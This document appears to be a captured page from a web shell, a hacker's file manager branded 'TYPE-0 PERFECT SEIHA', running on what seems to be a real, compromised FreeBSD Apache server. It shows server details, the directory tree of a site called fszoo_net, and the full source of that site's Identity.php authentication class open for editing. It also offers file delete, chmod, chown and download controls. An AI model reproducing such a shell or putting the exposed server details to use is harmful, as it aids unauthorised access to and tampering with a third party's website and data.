TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
application
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/application/Identity.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Application; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IIdentity; use Nette\Database\Context; use Nette\Http\Request; use Tracy\Debugger; /** * Identity * @author Jan Pospisil */ class Identity extends \Nette\Object implements IIdentity { private $userRow; private $connection; private $httpRequest; const ACCESS_TOKEN_EXPIRATION = '1 week'; public function __construct(Context $context, Request $request){ $this->connection = $context; $this->httpRequest = $request; } /** * @return bool true if request is authenticated, false otherwise. */ public function isLoggedIn() { if($this->userRow === NULL){ try{ $this->getRow(); return TRUE; } catch (AuthenticationException $e){ $this->userRow = FALSE; } catch(MissingRequiredParameterException $e){ if($e->getMessage() != 'Missing access token.') throw $e; else return FALSE; } } } public function getId(){ return $this->getRow()->id; } public function getRow(){ if(!$this->userRow){ $this->userRow = $this->getAccessTokenRow()->user; } return $this->userRow; } public function getAccessTokenRow(){ $accessToken = $this->httpRequest->getHeader('Authorization'); Debugger::log($accessToken, 'access_token'); if(!$accessToken) throw new MissingRequiredParameterException('Missing access token.'); $accessTokenRow = $this->connection->table('user_access_token')->where('access_token', $accessToken)->fetch(); if(!$accessTokenRow){ throw new AuthenticationException('Invalid access token.'); } if($accessTokenRow->expiration < new \DateTime()) throw new AuthenticationException('Access token expired.'); return $accessTokenRow; } public function isAllowed($resource, $privilege){ return FALSE; } }
Crotin
Name
Size
Permissions
Modified
User/Group
SmtpMailerFactory.php
336
0644
2016-01-11 22:55:13
Unknown/Unknown
Application.php
221
0644
2016-01-11 22:55:13
Unknown/Unknown
LinkBuilder.php
666
0644
2016-01-11 22:55:13
Unknown/Unknown
Identity.php
1935
0644
2016-01-14 21:59:32
Unknown/Unknown
IMailerFactory.php
302
0644
2016-01-11 22:55:13
Unknown/Unknown
SendmailControl.php
1472
0644
2016-01-11 22:55:13
Unknown/Unknown
FileMailerFactory.php
604
0644
2016-01-11 22:55:13
Unknown/Unknown
TestRest.php
330
0644
2016-06-15 21:45:15
Unknown/Unknown
TexyAccessor.php
341
0644
2016-01-11 22:55:13
Unknown/Unknown
PermissionControl.php
757
0644
2016-01-11 22:55:13
Unknown/Unknown
FsKempyRest.php
210
0644
2016-02-23 12:19:52
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin